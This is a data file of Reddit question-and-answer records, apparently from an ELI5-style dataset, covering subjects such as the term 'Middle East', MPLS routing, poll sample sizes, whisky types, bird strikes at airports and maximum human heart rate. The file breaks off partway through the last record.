{"q_id": "32tcen", "title": "why is it called the middle east? why not the middle west, or just \"the middle?\"", "selftext": "Why is the geographical location named the Middle East?  What is wrong with the Middle West, or even just \"the Middle,\" as silly as that may sound?\n\nIs that just what English calls it?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/32tcen/eli5why_is_it_called_the_middle_east_why_not_the/", "answers": {"a_id": ["cqeerg1", "cqeexqf", "cqeeyvr", "cqegmhu", "cqego0t", "cqehghb", "cqekz9s", "cqesbeh"], "score": [123, 2, 44, 2, 7, 3, 8, 2], "text": ["It comes from old western European cultures, who when trading with Asia referred to it as the far east because, well, it was far away and east of Europe.  the middle east was kind of in between, hence the name that has stuck around", "Because The center of everything is Europe. Or at least, that's the way it's come to be, since Europe was where the power was when humans connected the world (1500's).\n\nSo everything East of Europe was \"The East\", and the Middle East wasn't as far East as the \"Far East\" (India, China, Japan, etc.) was. \"The Middle\" is Europe, although Europe is never called that; and \"The West\" is the Americas.", "Many European languages use Euro-centric naming for Asia.  Traditionally the Ottoman Empire, covering parts of Europe and part of the Middle-east was called the \"Near East\" and China, Korea, and Japan were the \"Far East.\"  Persia and the non-Ottoman parts of the Arabian peninsula  were thus the \"Middle East.\"\n\nWhen the Ottoman Empire ended in 1918, the term \"Near East\" fell out of favor and the terms \"Eastern Europe\" and \"Middle East\" expanded to cover those territories.  Basically, without a unified government to rule the Near East, there wasn't a lot that could be said about it as a region other than \"religion is a big issue.\"\n\nThe \"Middle West\" is typically called the Mid-West and extends roughly from Ohio to Iowa.  Never mind that all of this territory is east of the central point of North America.  Each part of it was at one time called the \"Far west.\"", "I don't know if \"the Middle East\" comes from another culture, but I do know that's what we Arabs call it! \u0634\u0631\u0642 \u0627\u0627\u0644\u0623\u0648\u0633\u0637 (shrq alawst)", "Because it's in the middle of the \"easts\". From perspective of western europe going east you get:\n\n* Near east (eastern europe and/or the ottoman empire)\n\n* Middle east (pretty much what we call the middle east, mainly arabian peninsula)\n\n* Far East (east and southeast asia)\n\nEach one of the \"easts\" had different value to the western europeans and thus each got their own name.", "You know what's funny, is that people in China also call it \"West Asia\".  I guess it does sort of make sense.  ", "Because \"Fucking Insanity Zone\" was deemed a little too provocative.", "Before WWI there were 3 types of East. Far East was China and stuff. Middle East was Iran and stuff. And Near East was Ottoman Empire and stuff. Also there was India, but it was just India, it wasn't included neither in Far East nor in Middle East.\n\nWhen Ottoman Empire Fell, all new Asian countries that formed had similar political position similar to Middle East countries, so people started to include them in the term Middle East. And the term Near East fell out of use because of it. So that's why there is only Middle East and Far East."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "1k4a15", "title": "mpls multiprotocol label switching)", "selftext": "What is it? Why is it useful? How does it work? What are some other key things to know about it and its supporting components?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1k4a15/eli5mpls_multiprotocol_label_switching/", "answers": {"a_id": ["cblbw4f"], "score": [2], "text": ["MPLS is a system which attempts to reduce computational time and effort spent on *routing data within a network*.  The concept itself is not limited to the data \"messages\" used in internet (IP \"packets\") or LAN (Ethernet \"frames\"), but is better thought of as **a way to specify \"how to get somewhere\" across a large/complex network**.\n\n Imagine being in a large shopping mall, IKEA store, airport, etc.  There are probably multiple entrances into this building, and lots of different places, terminals, stores, or departments where people are interested in going.  There are also, typically, lots of different *ways* to get from one place to another, because of all the hallways, hubs, and maybe even \"shortcuts\" between different areas.  In each *hub*--which we'll define as \"any place a person could go two (or more) different ways\"--there is a big sign (probably hanging from the ceiling) which lists destinations and the direction they're in; Macy's is *this* way, the Food Court is *that* way, and Parking Lot #3 is back in the direction you came.  Someone who walks into this building without a map has to follow those signs each time they reach a hub or intersection, looking up each time to learn which of the two \"forks\" to take.  Eventually, by following the signs at each fork, they reach their intended destination.\n\nThe \"problem\" of routing data across a network--like the internet--is a lot like a person who walks into this hypothetical building, knowing only *what* they're looking for but not *how to get there*.  Messages containing data know *where they need to go*, in the form of an **address** of some kind, but don't have any sort of \"map\" or list of directions to follow in order to learn the way there.  So, at each \"hub\" on the network--and we really do call them \"Hubs\" (or \"Routers\", or \"Switches\")--there is a **routing decision** which has to be made based on the data's intended target address.  In our analogy, the data is like a person wandering the building, but instead of looking up at signs to decide which \"fork\" to take, the network's hardware has to choose the correct direction for the message based on a \"routing table.\"  Because the internet (or even a non-internet network like a large corporate LAN) is large and has many \"forks\" and possible destinations, each data message has to go through dozens, hundreds, or thousands of hubs, and has to \"look at the sign\" at *each and every one*.  With the network so large, these \"lookups\" start to take up a significant amount of time and effort.\n\n MPLS can be thought of as a way for each \"message\" to carry some information about the \"floorplan\" (our term is *topology*) of the network, in order to make these decisions easier.  For example, it might be common-knowledge that, within a certain shopping mall, the fastest route from Parking Lot #3 to Macy's store involves walking 'straight through the food court toward the movie theater'.  This little bit of information--essentially defining *part of a known path* which covers a segment of the person's route, is analogous to one MPLS routing label carried by a data packet.  The person still doesn't have a map of the entire mall--in analogy to the internet, such a map would be enormous and unreadable due to its complexity--but carries a piece of information about *a preferred or known path to take at a certain point*.  MPLS labels can be \"stacked\", in the same way a person might carry lots of these little path-notes and go through them in order, one after the other, each time they become relevant.  Thus, they don't have to \"lookup\" which way to go at the forks or intersections covered by their known paths, and instead these decisions can be made quickly with only a glance at the MPLS label's information.\n\n  In a network like the internet, the decisions made at each hub or \"fork\" aren't actually made *by* the data message, which isn't smart like a person; instead, they're made by electronic hardware at each fork--again, Hubs, Switches, or Routers.  By looking at the MPLS labels on each data message, they can quickly decide which direction to shoot off that data--toward the next Hub, Switch, or Router which might then make another \"routing decision\", and another... By using MPLS information, which comes from *known information about the network's topology*, these decisions can be made much faster than having to peek at the message's destination-address and look it up in a routing table.  In addition to reading MPLS messages, network hardware can *add* them to data packets received before they're sent off, (hopefully) allowing subsequent routing decisions to be made faster as well.  In large networks like the internet, this can save a lot of computational effort, which allows the network hardware to handle more data, more quickly.\n\n Of course, the backbone of an \"informed routing\" system like MPLS is *knowing some information about the network ahead-of-time*.  In the shopping mall, this is pretty easy, because stores and hallways and intersections all stay in the same place, probably forever.  The internet, or a large LAN, may not be so reliable!  New entrances, destinations, hubs, and routes can (and are) added all the time, and similarly can be lost or destroyed (for example, when some critical network hardware breaks, is removed, or gets reconfigured somehow).  Each piece of smart network hardware helps to create and maintain common-knowledge of the MPLS \"map\" by contributing information to other hardware in a system called \"label distribution.\"  The path information itself--what each label \"means\" and how the hardware is ordered to route it--is typically created and maintained by (human) network administrators.  However, in some cases, there are computer programs with knowledge of the network's topology, capable of automatically creating and managing MPLS labels and distributing routing information to the network hardware."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2uyoyb", "title": "how can a sample size of ~1000 people be used to make statistical data about millions of people? wouldn't the results be way off?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2uyoyb/eli5_how_can_a_sample_size_of_1000_people_be_used/", "answers": {"a_id": ["cocvyog", "cocwa91", "cocwogq", "cocylnx"], "score": [7, 4, 79, 9], "text": ["Basically, you pick the ~1000 people at random from the group you're trying to get a feel for (the millions).  Then you assume that, because they're random, they should be a good snap-shot of the different people in that bigger group.\n\n\nFor example, if you have 1,000,000 people and 600,000 are men and 400,000 are women, if you pick 1000, the idea would be that about 600 are men and 400 are women.  Of course, that probably won't be the exact ratio of men to women you GET in your sample, but asking all 1M would be costly and take time, so the trade-off in saving time and money is that you're getting a rougher and rougher idea of what the big group probably looks like in reality.\n\n\nBigger sample = more $, more time = more likely accurate.\n\nSmaller sample = less $, less time = less likely accurate.\n\nETA: There are several models of how much of a group you need to sample compared to how confident you can be in the sample matching the reality of the whole group, but that ends up outside of ELI5 territory, so... just know that there's some math that can help pick the \"how many\" your '1000' should be.", "It seems like something that shouldn't work, but it does. A large part of how statisticians know it works is because they can calculate the statistical significance of changes in results, and there reaches a point where for every person added to the sample, the increase in accuracy of the result becomes smaller and smaller. In other words: the law of diminishing returns.\n\nThink about it from the other end. If the US contained exactly 350,000,000 people, how much statistical significance do you think would be between a sample size of all 350,000,000 and a sample size of 349,999,999? The difference would be so minuscule as to not be worth ensuring we included that last person in the sample size. So then continue to work backwards. How big of a difference would it make to leave out 2 people? 5? 100? 1,000,000? If everything more or less operates on a bell curve, there's a Goldilocks zone of not too many people to waste time but not too few to be inaccurate. Around 1,000 is just where that Goldilocks zone typically lies.", "If you make a pot of soup do you need to taste half of it in order to know the flavor of the entire soup? Of course not, you only need a spoonful to get a general idea of what the rest tastes like. There might be a crunchy carrot or soft potato that don't quite taste the same as the rest but those are not common. \n\nStatistic principles are the same way but there are certain conditions that need to be met for different tests. Sometimes it's appropriate to use only 30 people while in other cases you do need 1,000 or more people to accurately test the soup.", "The other commentors are all right, but here's some maths to back it up. In true ELI5 fashion, we won't use anything more complicated than the square root! (so maybe ELI9 or something)\n\nGeneral case first, then example to follow. Read the general case, then the example, then the general case again.\n\nGeneral case: When you sample a certain number of people (call this number N), and find that another number X have a particular characteristic, then you can guess that the fraction of people who have that characteristic is X/N. \n\nNow here's the fun bit: you can be pretty confident\\* that the true value for the percentage of people lies between 100x[X+sqrt(X)]/N, and 100x[X-sqrt(X)]/N.\n\nExample: You survey 1000 people, and 400 like pokemon. The square root of 400 is 20. Therefore, you can be pretty confident that the percentage of people that like pokemon is between 100x(400+20)/1000 (42%) and 100x(400-20)/1000 (38%).\n\nSo what happens if you sample fewer people? Suppose you only ask 10 people, and 4 say they like pokemon. The square root of 4 is 2.\n\nIn this case you can now only be pretty confident that the percentage of people that like pokemon is between 100x(4+2)/10 (60%) and 100x(4-2)/1000 (20%).\n\nSo if you only sample 10 people, you can't really say anything more accurate than 'between 20% and 60% of people like pokemon' whereas sampling 1000, you can say 'between 38% and 42% like pokemon' which is obviously far more accurate. If you sampled 100,000, you could nail down that range to 'between 39.8% and 40.2%' but I'll leave that for you to verify yourself.\n\nOne more point though - note that to go from knowing to within 40% (ie the range 20% to 60%) to knowing within 4% (ie the range 38% to 42%), you had to add 990 people to your sample. So an extra 990 people improves your accuracy by 36%.\n\nTo go from knowing within 4% to knowing within 0.4%, you have to add 99,000 people to your sample. So an extra 99,000 people improves your accuracy by just 3.6%. \n\nSo there comes a point where it becomes stupidly expensive to nail down your accuracy any more. So there's often a spot you can reach where adding more people to the sample just doesn't really help any more.\n\n\n\\*\"pretty confident\" is mathematically defined too - it means there's  a 2/3 chance you're right, and a 8/9 chance you're 'sort of right' - I can go into this in more detail if you like!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1kwztb", "title": "the end game memo", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1kwztb/eli5_the_end_game_memo/", "answers": {"a_id": ["cbtgowb"], "score": [2], "text": ["People who are against the national security of citizens and who probably secretly support terrorism are trying to discredit the good will of the American government. Following the lead of traitors and oath-breakers, such as Edward Snowmen, they attempt to uncover \"conspiracies\" and \"shady dealings\" within all the levels of the government, especially those relating to our nation's security. This is sadly another example of said \"conspiracies.\" The American government and the\u00a0National Security Agency definitely have your best interests in mind."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "aa2fnd", "title": "How comparable are the collapses of the USSR and the western Roman Empire? Is it insane to look at them as analogous with the population decline and economic consequences of the USSR's collapse being an accelerated version of the gradual process that followed the fall of Roman administration?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/aa2fnd/how_comparable_are_the_collapses_of_the_ussr_and/", "answers": {"a_id": ["ecolksr"], "score": [3], "text": ["Humans always like to make these comparisons as we are heavily programmed to look for patterns and similarities. But to say it was exactly like the fall of Rome does a disservice to the nuances of either event. That said it's not insane, it's human nature to draw these comparisons in hopes they help us predict some future catastrophe.\n\nIf you're interested in the collapse of the Soviet Union, there's a book called *The Patriotism of Despair* that deals with this subject but focuses more on the immediate aftermath of dissolution rather than the events leading up to it.\n\nI wish I could answer you more specifically but I just don't know enough about Rome to make any meaningful comparisons.\n\nHowever if you are interested in the book I mentioned I'd be happy to share it with you via .pdf."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "18n3a8", "title": "spirits", "selftext": "What is the difference between popular spirits such as whiskey, scotch, bourbon, and rum?\n\nAlso when a scotch or whiskey is 'single malt', what does this mean?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/18n3a8/eli5_spirits/", "answers": {"a_id": ["c8g8vfp"], "score": [19], "text": ["There are a few basic differences.  To make a spirit in the first place, you have to start with a base product.  This can be a grain, as is the case with whiskey, or can be a fruit, such as grapes in brandy, or can be molasses from sugar cane, such as in the case of rum.  Where you are in the world is likely going to dictate what base product you would use to make your booze.\nThe next thing to consider is the type of still you're using for distillation.  Some people like to use traditional copper pot stills, which give spirits kike Scotch or Bourbon a nice heavy, rich flavor.  Other people, like vodka producers or Canadian whisky makers, like to use special column stills that specifically strip out as much flavor as possible, leaving only ethanol.\nThe last major thing to take into account with spirits is the aging process.  Many spirits are put into barrels to take on rich flavors over time.  If this barrel is brand new and heavily charred on the inside, it will affect the distillate differently than a barrel that has previously been used for aging something else, like Sherry.\nWhere the barrel is aged also affects flavor.  A barrel will age more aggressively in a climate that changes from extreme hot to extreme cold, like Kentucky.  Scotland is more moderate in temperature, so barrels there age more gracefully over long periods of time.\n\n\"Single Malt\"  simply means that all the whiskey in your bottle came from the distillery on the label, vs. a blended Scotch, which could come from multiple distilleries in Scotland.\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "141i6x", "title": "what causes the warp effect?", "selftext": " i.e When moving at high speeds, why do the things in front of you look like they are 'stationary' but if you look to the side what you see is blurry?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/141i6x/eli5_what_causes_the_warp_effect/", "answers": {"a_id": ["c791nqf"], "score": [2], "text": ["Any image that you see at any instant is not only made up of the light coming into your eye at that instant, it's actually made up of all the light that came into your eye within the last 60th of a second (approximately). \n\nIf you are looking at an ball that is not moving, and you are also not moving, then all the light that comes into your eye from the ball in that 60th of a second will come from the same place (wherever the ball is sitting), so the ball will look clear. But if someone throws the ball at a high speed, the ball won't be in the same place for the whole 60th of a second, so instead you're seeing the light from every position the ball was in during that 60th of a second. This light is going to be from a lot of different locations, not just one, so it will make the ball look blurry.\n\nNow, if someone throws the ball directly at your face, even though the ball is not in the same location the whole time, the ball is moving in the same direction the light has to move in order to get to your eye. Because of this, the light from the ball is not as spread out, so the ball will look less blurry.\n\nThe same effect is happening when you are moving at a high speed, only from the opposite perspective. Everything is moving toward you, so the light is not as spread out and it looks clear (like the ball flying at your face). But if you look sideways, everything is moving past you, so the light is more spread out making it look blurry.\n\nIf you want I can try to make some animations to demonstrate it visually."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "13isq0", "title": "If an obese person drops weight, does their voice change?", "selftext": "Lets say the person was 500 lbs, and dropped to 180 lbs. I would like to think that excess mass puts strain and pressure on the body but I don't know.\n\nReady. set. answer!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/13isq0/if_an_obese_person_drops_weight_does_their_voice/", "answers": {"a_id": ["c74elcy", "c74pr4b"], "score": [73, 3], "text": ["I found [this study](_URL_0_)\n\n\nHighlights from the study:\n\n**Results**: Obese individuals exhibit the following modifications in voice feature: hoarseness, murmuring, vocal instability, altered jitter and shimmer, and reduced maximum phonation times as well the presence of voice strangulation at the end of emission.\n\n**Conclusion**: The voices of individuals with morbid obesity are different of the voice of nonobese people and demonstrate significant changes in vocal characteristics.\n", "I have a related question: if I do a good workout in the weightroom, particularly one that targets my pecs or back muscles, I have a significantly deeper voice for roughly 30-45 minutes afterwards.  What causes that?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.springerlink.com/content/g75gm8988q57p323/?MUD=MP"], []]}
{"q_id": "a8gsxi", "title": "how are birds not a major problem at airports?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a8gsxi/eli5_how_are_birds_not_a_major_problem_at_airports/", "answers": {"a_id": ["ecajavs", "ecajcsy", "ecb25on", "ecb8ubp"], "score": [74, 10, 7, 5], "text": ["They are! That's why airports go to extreme lengths to keep birds away.  Airports use many techniques to keep the area clear of birds, such as:\n\n* Eliminating bird habitats. Birds usually come to the airport  area due to the availability of food sources. Denial of food to birds by  eliminating the sources (like landfills, garbage, crops, dumps etc)  will reduce the chance of birdstirke by eliminating the source. It also helps to keep the airport and surrounding areas unattractive  to birds (for example, by eliminating water stagnation, vegetation cover etc) as it prevents the birds from nesting there.\n* Scaring them away. A number of airports use a number of bird  repellents like pyrotechnics, cannons (mostly just prior to aircraft  approach to prevent bird habituation), chemical repellents etc.  \n In some cases, specially trained animals (like falcons, dogs etc) have been used to scare away the birds or they are trapped.\n* Killing the birds in the area, though this drastic step is usually not implemented except in the most extreme cases. In general, the nesting sites of birds are destroyed to prevent them from staying permanently near the airport.", "They \\*are\\* a major problem for planes, which is why large airports have dedicated safety crews to scare them off, amongst their other duties of clearing other debris off runways and taxiways (stray plastic bags, etc).", "Pearson airport has such a big problem with Canada geese that they use a bald eagle to scare them away.  The eagle is named Air Force One.", "At the other end of the scale, things tend to get a bit improvisational with regard to getting rid of birds. Way back when, I spent a week on a gliding course based at a small, grass aerodrome perched on top of a flat-topped hill (UK Welsh border area) and the first job every morning, before any launches, was to drive round the perimeter of the airfield a few times in the world's most decrepit Land Rover, blasting Tina Turner through jerry-rigged loudspeakers. Seemed to work.\n\nSidebar: it was also to get rid of sheep. Loads of sheep farms in the area, and sheep have a tendency to wander. It turns out that if a sheep thinks it's about to be pounced on by an aerial predator, it jumps - and a panicked sheep can *really* jump. The near-silent *swoosh* of a landing glider, coupled with a sudden shadow, can panic a sheep, and if you think a bird can do damage, imagine what a sheep hitting your much more fragile glider can do - especially when you're a few feet from touchdown and a hundred pounds of woolly idiot has just decided to say \"hi\"..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1opolp", "title": "What is the fastest the average human heart could safely beat without failing?", "selftext": "If this limit was exceeded, would the heart explode or just stop? How about an athletes heart? Any well documented extreme cases of this happening?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1opolp/what_is_the_fastest_the_average_human_heart_could/", "answers": {"a_id": ["ccudtky", "ccuhutw", "ccuhxad", "ccui3gl", "ccujnjk", "ccuk0yc", "ccuq8uq", "ccutx9d", "ccuv5tk"], "score": [190, 811, 36, 8, 5, 15, 2, 2, 2], "text": ["Hi folks! Just a reminder that personal anecdotes, speculation, and medical advice are not appropriate for /r/AskScience. (see sidebar) And we especially love answers that cite peer-reviewed research. Thank you!", "The absolute refractory period of cardiac muscle is [between 250 and 300 ms](_URL_0_). That means cardiac contractions are physiologically limited to 200-240 beats per minute. There are other physiological factors that can cause problems well before this limit however. These are primarily issues related to blood flow (both to the heart muscle itself and to the systemic circuit), but since you seemed to want the fastest rate, figure 240 bpm as an absolute upper limit.", "It's been 5 hours without a proper response so I've looked up some reference material. This doesn't answer your question directly but perhaps it will offer some insight.\n\n* You have to first determine what a persons maximum heart rate, this was 220 - age however the method used to determine this formula wasn't reliable and it's more an average then a personal indicator. [Source](_URL_2_)\n* Study performed on the optimum upper heart rate limit using pacemaker patients, you could disregard this due to the people used for the study but the material is worth looking at considering the article I mentioned. [Abstract](_URL_1_), [Paper](_URL_0_)", "Some exercise physiology! Exercise intensity and heart rate have been studied for a long time and is one of the most natural ways for heart rate to increase in the average person. For the most part this research is performed on young healthy individuals that do not exhibit any disease. So, a good starting point would be to look at the research by Bengt Saltin (who is the \"grandfather\" of exercise physiology). Some of his first research comparing maximal heart rates to maximal exercise ranged from 179-200 bpm [(Astrand and Saltin, 1961)](_URL_0_). Additional studies found individuals can reach a heart rate of up to 207 bpm [(Astrand et al., 1964)](_URL_1_). \n\nI hope that answers part of your questions and gets you thinking a little bit more. Further research has been performed on Athletes, but I do not have the time to go searching for it at the moment. Cheers!", "I may be able to offer something of a better answer. It won't specifically answer you question, but it will go a ways to giving you the necessary information to build your own answer. I'm a Medical student here in England, and have done 4 years training already.\n\n**THE BASICS** \n\n\nThe human heart contains 2 atria, and 2 ventricles. The ventricles are the main important ones as they control rate, rhythm and volume of blood being pumped. They are important as if they stop pumping the blood stops flowing. \n\nThe contraction starts in a special part of the atria called the SINO-ATRIAL NODE (SAN) and pass through the atria, across the muscle to the ATRIO-VENTRICULAR NODE (AVN). At the AVN there is a slight delay and the signal passes down into the Bundle of His and to the bottom of the heart, and back up to force the ventricles to contract in an organized manner, pushing blood out the top of the heart, into the main vessels. \n\nThe cells of the heart are cardiac muscle cells, they're similar to skeletal muscles (e.g. biceps), but differ slightly in their make up, arrangement and chemistry. The signal in these is \"set off\" when the AVN tells them to contract and through 'gap junctions' the signal is passed along the chain of cells. \n\nWhen we get down to the chemical level these cells are turning on and off by moving ions in and out of the cells. Therefore it takes a little while for ions to move back into the cell before it can contract again, this is called the REFRACTORY PERIOD, somebody else has mentioned that here too. This is important but, hearts don't usually contract immediately after this period is up, they wait for the signal from the AVN in order to cause them to contract in an organised way, bottom, to top. \n\nSo if the signal is coming in quickly, the heart muscle has to at least wait out this portion of refractory period. \nWe call the period of time in which the heart is contracting SYSTOLE, and when it isn't (it's relaxed) is called DISATOLE.\n\n\n**BLOOD SUPPLY**\n\n\nThe blood supply of the heart is via the coronary arteries. These are the first divisions of the AORTA, the main vessel leaving the heart. They come from behind the valve folds. When the heart contracts, blood is forced out, it hits the pressure in the aorta, and a wave is eventually pushed back down the aorta, this fills the folds of the valve, and within those folds is the opening to the coronary arteries. Therefore the coronary arteries only fill during DIASTOLE. The faster the heart is beating, the shorter the relative periods of diastole last for and the decreased amount of time there is to fill the heart vessels, and provide oxygen to the muscle. \n\nThe coronary arteries are vital, and if they are not being filled the muscle begins to tire very quickly, due to lack of oxygen and glucose being supplied. When the muscle tires it doesn't pump as fast, or hard. It also causes chest pain. \nUsually in a heart attack (MYOCARDIAL INFARCTION, or ANGINA ATTACK) the coronary arteries become filled with a blood clot and this stops the blood getting to the heart muscle, and the pain occurs. If this isn't resolved, by re-perfusion happening then the heart muscle dies, and this can cause lots of heart muscle problems.\n\nIf the heart is contracting too fast then it doesn't get as much blood supply and it will get damage, depending on the state of your blood vessels you heart can contract faster. If there is narrowing due to atherosclerosis, this limit is lowered.\n\n\n**FIBRILLATION and ABNORMAL BEATING**\n\nWhen the heart is contracting as normal it is okay. But when damage occurs i.e. infection, chronic high blood pressure, ischaemia (heart attack) the muscle can become damaged and this can lead to abnormal unmediated contraction of the muscle. This is sometimes just extreme TACHYCARDIA (very fast, dangerous heart beating-palpitations) and is sometimes FIBRILLATION. Fibrillation means all the cells, or groups of them, are contracting without being told to, and are just doing it over and over, instead of a synchronized beating there is just wobbling/wavering/shaking of the muscle and this is bad. It occurs in the Atria, atrial fibrillation, and is not as severe, it causes the blood to not move (stasis) and it can cause tachycardia in the ventricles (SVT- supraventricular tachycardia) we treat this very quickly/soon! \n\nIt can also occur in the ventricles, VF, if this happens the patient quickly loses perfusion to the heart, brain, lungs, kidneys, EVERYTHING, and if they are not treated quickly they will die. This is what you see on television when people are treated with shocks, thumps and adrenaline (epinephrine).\n\nIn AF there is something like 300bpm, and in some cells as fast as 500bpm.\nVF is severe and patient often dies within minutes if no help arrives.\nVentricular tachycardia can reach as high as 200bpm (SVT), but the patient needs intervention to stop heart muscle damage\n\n**CONCLUSION** \n\nI've missed a lot out, but i hope that helps to answer your questions. please ask anything else and I'll do my best to answer it.", "I will try my best to answer the questions. The thing is, being evidence based and still understandable for redditors is one hell of a challenge...\n\nTypically a normal sinusrythm will have a maximum of 210-age (rule of thumb). This can be reached during all kinds of stress (excercise, 'disease' (i.e. all kinds of conditions, ranging from fever to sepsis), or medically induced.\nHowever, there are many tachyarrythmias, that can cause very quick electrical conduction through the heart. The concept of normal electrical conduction is as follows: the sinus node is where the electricity originates, from there it follows a strict pattern over the atria causing the atria to contract, all electrical circuits then bundle in the AV-node where the electrical signal is delayed, from there it passes through the His-bundle in the ventricles eventually leading to the contraction of the ventricles. This results in the blood being pumped from the atria to the ventricles and out (to the lungs or in the aorta and onwards).\nA maximum heartrate is limited by two electrical principles: electrical conductivity of the fibers from the sinus node and onward ,as well as the electrical conductivity of the muscle fibers. But also the mechanical contraction of the heart limits the maximum heart rate.\nThe electrical conductivity is limited by the timespan the individual cells in both the electrical 'wiring' and the muscles are receptible to electricity (and be activated to conduct or contract). The electrical fibers are quicker than the actual muscle fibers. The period in which they're not receptible is called the refractible period (technically, the cell needs to exchange ions to 'reload', which is slower than the cells releasing ions when conducting/contracting). Muscle cells (that do the contracting) will typically need more time to reload, so it is possible that electrical activity gets to the muscle and not lead to a contraction.\n\nThe mechanical limits are that to pump out the blood, the heart will need to be able to contract (lower the volume of the ventricles), and that too is pure physics. You can only do that at about 200 bpm tops. The smaller the heart, the more quickly the mechanical action can be, but even the smallest of animals have a limited heartrate (I don't remember the exact limit, though...). If the mechanical action quickens, the effectivity of the contraction gets less and less, because the muscles need to relax to fill the heart (atria and ventricles) again before the next heartbeat. And the really high heartrates usually mean that the heart pumps out hardly anything per heartbeat. But because it is a very high rate, it amounts to quite a lot over time (like one minute). This is measured in cardiac output.\n\nIn tachyarrythmias the electrical conduction is not normal. Either an accessory pathway between atria and ventricles exist, bypassing the AV-node, leading to a loop in electrical activity (either between the atria and the ventricles or in the atria or ventricles alone).\n\nThe heart doesn't blow up (or at least, not to the best of my knowledge), because once the heartrate increases, at a certain point the cardiac output (in volume/minute) will decrease (after increasing at first). At a certain point (which starts at 200 bpm) the blood pumped out by the heart is close to nothing. This leads to lower perfusion in the coronary arteries (and the rest of the body), which cuts off the blood supply to the heart itself. Since muscles need energy and oxygen to function, the heart stops when its blood supply is cut off.\n\nTachycardias can exist for a longer period of time, and compensation, the heart will dilate, meaning that the ventricles (usually the left ventricle in particular) will dilate as well. The volume will increase. Meaning (pure physics) that the percentage of the volume will lead to higher cardiac output.\nA normal healthy heart will pump out about 60% of its volume per beat. A dilated heart (in extreme situations) will pump out about 10%.\n\nThe fastest a heart could beat safely is dependent on a lot of factors. One of them is age, younger individuals get higher heartrates (210-age as a rule of thumb says it all), because the electrical conduction in their heart is not yet damaged or compromised (age will do that). Another thing is size, the smaller the (healthy) heart, the faster it goes (children have higher heartrates than adults, newborns have a normal heartrate of 120-160 bpm, whereas adults are in between 60-80 bpm).\n\nSidenote: if the electrical signal is fast, it doesn't mean the ventricles are filled up just yet. So seeing a heartbeat on an ECG (= electrical activity, really sensitive), does not mean you will feel the pulse in an artery. Simply because there's not enough volume to cause a pulsewave at a certain distance, or a pulse wave that is is enough to actually be sensed by your sensory nervous system in your fingers. The closer to the heart you feel for pulsations, the higher the chance of actually detecting the pulse. (listening with a stethoscope will always tell you if there actually is mechanical activity, after that the carotid or femoral arteries will tell you if it causes sufficient cardiac output to have adequate organ perfusion (i.e. brain, you kind of need that one for every other bodily function).\n\nSources (If a professional, you should check UpToDate for the basics and then search PubMed, but those aren't available freely online. Since what you ask is basic textbook knowledge: check out Wikipedia (yes, I said it), and search UpToDate if you have access (or get access).\nSinus rythm (including visual): _URL_1_\nHeartfailure: _URL_2_\nTachycardia (AVNRT is a nice example to illustrate what happens): _URL_0_\nI know Wikipedia is not commonly accepted as a source, but here goes: _URL_3_ (I'm not going to do the math if they've done it already)\nIf you want to know more about electrical activity in the heart I recommend ECGpedia (see links at sinus rythm and AVNRT). If you still can't get enough I recommend getting into Medicine and buy Wellens et al (The ECG in Emergency Decision Making), he covers basically any electrophysiology subject there is in Cardiology.\n\nI must say, I found it really hard to explain this as correctly as possible. Being scientifically accurate is another thing. What you asked is not something I could simply answer by citing one article here or there, it's more textbook knowledge for medical students or someone in training to be a cardiologist. In healthcare U2D and ECGpedia (and even wikipedia at times) are used by all kinds of professionals to refresh or gain knowledge on a certain subject. Or to get a starting point from where to do searches in PubMed or Embase.", "While not related to the maximum, an additional piece of info - heart rate can be affected by more than just exertion. [Wolff Parkinson White syndrom](_URL_0_) for example can cause heart rate to simply double due to an extra electric pathway in the heart. I can only imagine what this would do to someone whose heart was already in the upper hundreds from exertion!", "I have a moderately common genetic disorder called cardio vascular syncope (vaso vagal syndrome) and a few years ago I passed out, was taken to the hospital and they tried at least 10 different machines on me because they thought they were broken. The machines stopped going up because they maxed out, however I was awake and felt fine. They called in doctors from all over the country to take my vitals. The rate was somewhere in the 400's. They wouldnt let me move because they thought my heart would burst. I'm sure that took a few years off my life..  It was kind of terrifying because nobody knew what was happening or what to do", "I've seen a young guy maintain a perfusing rhythm at a heart rate of 220 (monomorphic v tach) for minutes, but that's pretty rare. usually the first thing to go is their level of conciousness when they develop malignant ventricular rhythms.\n\non the other side, we internally pace hearts to 300bpm for the express purpose of \"freezing\" them (ie depolarization block) during deployment of transcatheter aortic valves. granted, these are usually much older folks."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.ncbi.nlm.nih.gov/pubmed/2299083"], ["http://eurheartj.oxfordjournals.org/content/23/16/1301.full.pdf", "http://www.ncbi.nlm.nih.gov/pubmed/12175667", "http://www.nytimes.com/2001/04/24/health/maximum-heart-rate-theory-is-challenged.html?pagewanted=all&amp;src=pm"], ["http://jap.physiology.org/content/16/6/977.short", "http://jap.physiology.org/content/19/2/268.short"], [], ["http://en.ecgpedia.org/wiki/AVNRT", 